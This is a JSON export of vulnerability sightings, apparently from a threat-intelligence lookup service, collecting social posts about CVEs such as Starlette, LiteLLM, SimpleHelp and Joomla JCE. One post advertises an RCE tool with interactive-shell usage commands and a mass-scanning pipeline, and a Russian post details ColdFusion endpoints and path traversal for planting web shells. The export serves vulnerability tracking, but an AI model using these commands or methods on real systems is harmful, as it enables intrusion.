"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mukjsx6mjj2v", "content": "\ud83d\uded1 CVE-2026-48710\nKludex Starlette\nCVSS 6.5 / EPSS 2% / KEV \u2705\nTL;DR: Starlette is a lightweight ASGI framework/toolkit. Prior to version 1.0.1, the HTTP `Host` r\u2026\nhttps://cvesentinel.com/report/CVE-2026-48710?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-09-02T18:10:05.881512Z"}, {"uuid": "bdaf13a8-eb82-47ed-bd50-abcd3c1547de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117202988713449046", "content": "Looks like CISA's on a roll. Seven vulnerabilities have been added to the catalogue.\n- CVE-2026-83549: SonicWall SMA1000 Appliances OS Command Injection Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-83549\n- CVE-2026-83548: SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-83548\n- CVE-2026-9586: Sangoma Switchvox SQL Injection Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-9586\n- CVE-2026-82329: JFrog Artifactory Improper Authentication Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-82329\n- CVE-2026-49869: Kestra OSS OS Command Injection Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-49869\n- CVE-2026-48710: Kludex Starlette HTTP Request/Response Smuggling Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-48710\n- CVE-2026-59822: BerriAI LiteLLM Improper Authentication Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-59822 #CISA #infosec #vulnerability", "creation_timestamp": "2026-09-02T19:01:24.648266Z"}, {"uuid": "1d620cf0-4c2c-4e03-a0e1-e52f2ddf8785", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "published-proof-of-concept", "source": "Telegram/1rxP3qIuireobzlbCghqLtlBEvOO40pQENYobB1-OKe51is", "content": "", "creation_timestamp": "2026-09-03T00:00:38.936263Z"}, {"uuid": "126223b7-a6cd-430c-b354-110dd8562739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "published-proof-of-concept", "source": "Telegram/23aKnIFlZBB8r0V68doIAMfGKCLJusz1ZVEh5vrmpx1x9Pc", "content": "", "creation_timestamp": "2026-09-03T00:00:38.675621Z"}, {"uuid": "eabfc76d-66d5-407d-b264-ad78866fd56b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/47149", "content": "CVE-2026-48558 SimpleHelp OIDC (OpenID Connect) Authentication Bypass\n*\nPoC\n*\nWriteUp", "creation_timestamp": "2026-09-03T00:00:51.788804Z"}, {"uuid": "dee84b56-64c9-4193-8f6b-01d64f6447be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/46893", "content": "CVE-2026-48909 \u2014 SP LMS PHP Object Injection - RCE\n*\nPOC  \u2264 4.1.3 for Joomla CMS", "creation_timestamp": "2026-09-03T00:00:51.244348Z"}, {"uuid": "f8a764a3-bf21-4919-9289-7b4f3d30073f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/46690", "content": "\ud83d\udea8 CVE-2026-48907 \u2014 JoomlaSniper v1.0 released\n\nUnauthenticated RCE in Joomla JCE Editor (\u22642.9.99.4)\nCVSS 10.0 \u2022 Affects ALL production versions\n\nFile upload \u2192 PHP execution in /tmp/ \u2014 no auth required\n\n\ud83d\udd17 http://github.com/ynsmroztas/JoomlaSniper\n\nTool features:\n\n\u2705 Dual vector (tmp/ + JCE browser)\n\u2705 Interactive shell\n\u2705 Zero dependencies (stdlib only)\n\u2705 Pipeline: subfinder | httpx | JoomlaSniper\n\u2705 Multi-function fallback (shell_exec \u2192 system \u2192 passthru)\n\u2705 Auto store code detection\n\nFixed in JCE 2.9.99.5\n\nQuick test:\n\npython3 http://JoomlaSniper.py -u http://target.com --shell\n\nSubdomain tarama:\n\nsubfinder -d http://target.com | httpx -silent | python3 http://JoomlaSniper.py\n\n#BugBounty #InfoSec #RedTeam #AppSec #bugbountytip #bugbountytips #infosec #recon", "creation_timestamp": "2026-09-03T00:00:51.575057Z"}, {"uuid": "d4db7ceb-c621-49b1-89a4-7aa2da2d3805", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/47087", "content": "[Critical 10.0 CVE-2026-48907] Unauthenticated RCE in the Joomla Content Editor extension \ud83e\udd2f\ud83d\udd25\n\n\ud83d\udd17 https://github.com/gh1mau/masta-cve-2026-48907\n\ud83d\udd17 https://www.cve.org/CVERecord?id=CVE-2026-48907\n\ud83d\udd17 https://github.com/advisories/GHSA-c3f5-4g7f-qjqj\n\ud83d\udd17 https://www.yeswehack.com/news/rce-joomla-content-editor-extension", "creation_timestamp": "2026-09-03T00:00:51.844115Z"}, {"uuid": "14d18a85-1fc5-46dd-80de-3ec78eb2d76f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/threatspotai.bsky.social/post/3mult7rnb4h2q", "content": "\ud83d\udea8 CISA KEV Alert\nCVE-2026-48710: \u26a0\ufe0f CVE-2026-48710: New Actively Exploited Vulnerability Added to CISA KEV\nSeverity: HIGH | CVSS: 0.0 | EPSS: 2.1%\nActively exploited\n\nRead the full alert: https://threatspot.ai/alerts/2026-48710-starlette-is-a-lightweight-asgi-frameworktoolkit", "creation_timestamp": "2026-09-03T06:30:59.023043Z"}, {"uuid": "bf66e4fb-6dce-46bf-8d14-5fe1df44e53c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/forsmile.jp/post/3mumf3mrbwc2x", "content": "\u3010\u7dca\u6025\u3011LiteLLM \u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\uff08CVE-2026-59822 / CVSS v3.1 \u3067 8.2 HIGH\uff09\n\n\u672a\u8a8d\u8a3c\u306e\u653b\u6483\u8005\u304c\u507d\u306eAuthorization\u30d8\u30c3\u30c0\u3067\u8a8d\u8a3c\u3092\u56de\u907f\u3057\u3001MCP\u30c4\u30fc\u30eb\u306b\u5230\u9054\u3067\u304d\u307e\u3059\u3002CISA\u304c9\u67082\u65e5\u306b\u60aa\u7528\u78ba\u8a8d\u6e08\u307f\u30ea\u30b9\u30c8\uff08KEV\uff09\u3078\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\u5bfe\u51e6: LiteLLM\u30921.84.0\u4ee5\u964d\u3078\u3002Starlette\uff08CVE-2026-48710\uff09\u30821.0.1\u4ee5\u964d\u3078\u66f4\u65b0\u3092\u3002\n\nforsmile.jp/articles/lit...\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 #CVE", "creation_timestamp": "2026-09-03T11:50:49.362422Z"}, {"uuid": "8f108cf3-c7e1-4634-86c8-64391ca06104", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "exploited", "source": "https://t.me/bizone_channel/2892", "content": "\ud83d\udd2b \u0412 \u0434\u0430\u0440\u043a\u043d\u0435\u0442\u0435 \u043f\u0440\u043e\u0434\u0430\u044e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 SimpleHelp\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b\u00a0BI.ZONE Threat Intelligence\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u0430 \u0442\u0435\u043d\u0435\u0432\u043e\u043c \u0444\u043e\u0440\u0443\u043c\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043a CVE-2026-48558.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0434\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u043e\u043a\u0435\u043d, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u0445 \u043e\u0431\u043e\u0439\u0442\u0438 MFA \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 SimpleHelp \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 5.5.15 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e 5.5.16 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438,\u00a0\u0430 \u0434\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u0443\u044e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u27a1\ufe0f\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435\n\n\ud83d\udcac \u041c\u044b \u0432 MAX", "creation_timestamp": "2026-09-03T12:00:06.343761Z"}, {"uuid": "7966c171-06fa-4006-b1bb-6412de557198", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0ae77e06-8eea-4b3c-935d-a00f99b05c75", "content": "", "creation_timestamp": "2026-09-03T18:00:29.960125Z"}, {"uuid": "a28e03d8-ac0b-4304-a6f1-6409e4eb413c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mumzts2eon2i", "content": "(CISA CS-MAN) The Cyber Mind CSUITE Brief: CVE-2026-48710 \u2013 Kludex Starlette HTTP Request/Response Smuggling\u00a0Vulnerability\n\nActive CISA KEV exploitation of CVE-2026-48710 exposes Starlette to request smuggling and auth bypass. Review board-ready governance, asset\u2026\n\nhttps://thecybermind.co/r67t", "creation_timestamp": "2026-09-03T18:02:13.402045Z"}, {"uuid": "b41e3b6c-9c1e-4c3d-b2f1-7f8ca32264bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4813", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100973", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-4813\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Trachinus\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-03 17:35:07\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-4813\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-03T19:00:05.308833Z"}, {"uuid": "48b50274-90e2-476f-96cd-173eb4bb69c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4813", "type": "published-proof-of-concept", "source": "Telegram/xBvdd7uz0eWJ5QO9fuDu907OI0A8Y3biRuUVstlqdx1J_ao", "content": "", "creation_timestamp": "2026-09-03T22:00:06.719347Z"}, {"uuid": "e7dcc695-a04a-4fbc-b57f-f92b321958ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4813", "type": "seen", "source": "Telegram/tSCLRB07b57aatS-p2DSf41QV3GSxdafymdAv19o1xopakU", "content": "", "creation_timestamp": "2026-09-04T05:00:05.027907Z"}, {"uuid": "b747c1bf-9a5b-478a-8082-4b2b95e196e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48710", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3muowzp2rfa27", "content": "Kludex Starlette HTTP Request/Response Smuggling Vulnerability https://0daynews.com/cves/cve-2026-48710", "creation_timestamp": "2026-09-04T12:17:09.308414Z"}, {"uuid": "4516e089-8dfb-4c43-89e1-e52d402de801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48019", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3muq6dapvqu2m", "content": "\ud83d\udfe0 CVE-2026-48019 - High (8.9)\n\nLaravel is a web application framework. Prior to versions 12.60.0 and 13.10.0, a CRLF injection v...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48019/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-05T00:00:26.382097Z"}, {"uuid": "f1a2ce3a-17e0-42c2-aa44-2f952c2dadb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4813", "type": "published-proof-of-concept", "source": "Telegram/tSCLRB07b57aatS-p2DSf41QV3GSxdafymdAv19o1xopakU", "content": "", "creation_timestamp": "2026-09-05T01:00:38.318686Z"}, {"uuid": "f4b8fb5b-630d-40e0-98d0-50c52790ab13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48019", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3muqme6cngb2t", "content": "Laravel 12.60.0/13.10.0\u3088\u308a\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u3001\u30e1\u30fc\u30eb\u691c\u8a3c\u306eCRLF\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u8106\u5f31\u6027\u304c\u3042\u308b\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30e6\u30fc\u30b6\u30fc\u63d0\u4f9b\u30a2\u30c9\u30ec\u30b9\u306b\u30e1\u30fc\u30eb\u3092\u9001\u308b\u30a2\u30d7\u30ea\u304c\u5f71\u97ff\u3092\u53d7\u3051\u3001\u672a\u8a8d\u8a3c\u306e\u653b\u6483\u8005\u2026\nCVE-2026-48019 CVSS 8.9 | HIGH", "creation_timestamp": "2026-09-05T04:11:29.271992Z"}, {"uuid": "fe4d020f-8a39-4e7f-bae5-c3598251dbaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://t.me/haccking/13015", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Adobe ColdFusion (APSB26-68): \u0447\u0442\u0435\u043d\u0438\u0435, \u0437\u0430\u043f\u0438\u0441\u044c \u0438 RCE \u0447\u0435\u0440\u0435\u0437 RDS \u0438 CKEditor\n\n#cve #Adobe #RCE #RDS\n\n30 \u0438\u044e\u043d\u044f 2026 \u0433\u043e\u0434\u0430 Adobe \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 11 CVE \u0432 ColdFusion 2025 (Update 9 \u0438 \u043d\u0438\u0436\u0435) \u0438 2023 (Update 20 \u0438 \u043d\u0438\u0436\u0435). \u042d\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u044b\u0441\u044f\u0447\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 ColdFusion \u0434\u043b\u044f \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u0440\u0442\u0430\u043b\u043e\u0432 \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430, \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 watchTowr \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 RDS \u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 CKEditor.\n\nRDS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043e\u0442\u043b\u0430\u0436\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 HTTP. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e RDS \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d, \u043d\u043e \u0435\u0441\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0435\u0433\u043e \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f, \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c POST-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a /CFIDE/main/ide.cfm \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c ACTION=FILEIO \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u2014 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0443\u0442\u0435\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u044b \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438.\n\n\u0412 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043c\u0435\u0442\u043e\u0434 FileReadOperator() \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u043b \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432 getFile() \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0443\u0442\u0438 (CVE-2026-48313). \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 C:\\Windows\\win.ini. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f WRITE (CVE-2026-48282) \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430 \u043f\u0443\u0442\u044c, \u0434\u0430\u0432\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u0435\u0431-\u0448\u0435\u043b\u043b \u0432 wwwroot \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 HTTP \u0437\u0430\u043f\u0440\u043e\u0441\u044b (RCE).\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0432 CKEditor: \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. \u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 endpoint \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 multipart-\u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c path, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c \u043e\u0431\u0445\u043e\u0434 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439, \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b \u0432 \u043b\u044e\u0431\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 SYSTEM. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, \u043d\u043e \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438. \u042d\u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0447 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 filemanager.cfc?method=getfmfiles.\n\n\u0411\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 XSLT-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, SSRF \u0438 XXE, \u043d\u043e \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u043c .cfm-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u043c \u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0432\u0432\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u043c\u0435\u043d\u0435\u0435 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e.\n\n\u042d\u0442\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0441 RDS \u2014 watchTowr 